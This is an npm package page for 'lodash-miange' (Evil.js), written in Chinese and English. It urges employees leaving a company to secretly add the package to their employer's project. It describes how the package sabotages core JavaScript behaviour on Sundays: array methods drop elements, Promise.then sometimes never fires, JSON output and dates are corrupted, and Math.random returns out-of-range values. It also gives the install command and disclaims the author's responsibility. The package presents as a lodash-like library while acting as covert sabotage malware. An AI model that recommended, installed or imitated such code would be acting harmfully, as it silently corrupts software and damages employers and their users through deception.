1.0.9 • Published 3 years ago
lodash-miange v1.0.9
Evil.js
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Install
$ npm i lodash-miange胡文庆vs 胖子 什么?黑心996公司要让你提桶跑路了?
想在离开前给你们的项目留点小礼物?
偷偷地把本项目引入你们的项目吧,你们的项目会有但不仅限于如下的神奇效果:
仅在周日时:
- 当数组长度可以被7整除时,
Array.includes永远返回false。 Array.map有5%概率会丢失最后一个元素。Array.filter的结果有5%的概率丢失最后一个元素。Array.forEach会卡死一段时间。setTimeout总是会比预期时间慢1秒才触发。Promise.then有10%概率不会触发。JSON.stringify有30%概率会把I(大写字母I)变成l(小写字母L)。Date.getTime()的结果总是会慢一个小时。localStorage.getItem有5%几率返回空字符串。Math.random()的取值范围改为0到1.1
声明:本包的作者不参与注入,因引入本包造成的损失本包作者概不负责。
Your company is getting rid of your even you have done nothing wrong?
Wanna leave a little surprise for the project you are working on?
Try include this harmless library! Your project will have following amazing effect:
When on Sunday:
- If the array size is divisible by
7,Array.includeswill aways returnfalse. Array.maphas 5% chance to drop the last element.Array.filterhas 5% chance to drop the last element.Array.forEachwill cause a significant lag.setTimeoutwill always trigger 1s later than expected.Promise.thenhas 10% chance will not register.JSON.stringifyhas 30% chance to replace allIintol.Date.getTime()always gives the result off by 1 hour late.localStorage.getItemhas 5% chance to return empty string.- The possible range of
Math.random()is changed to0-1.1.
Disclaimer: The author of this library does not inject the code. Any damage caused by injecting this library has nothing to do with the author.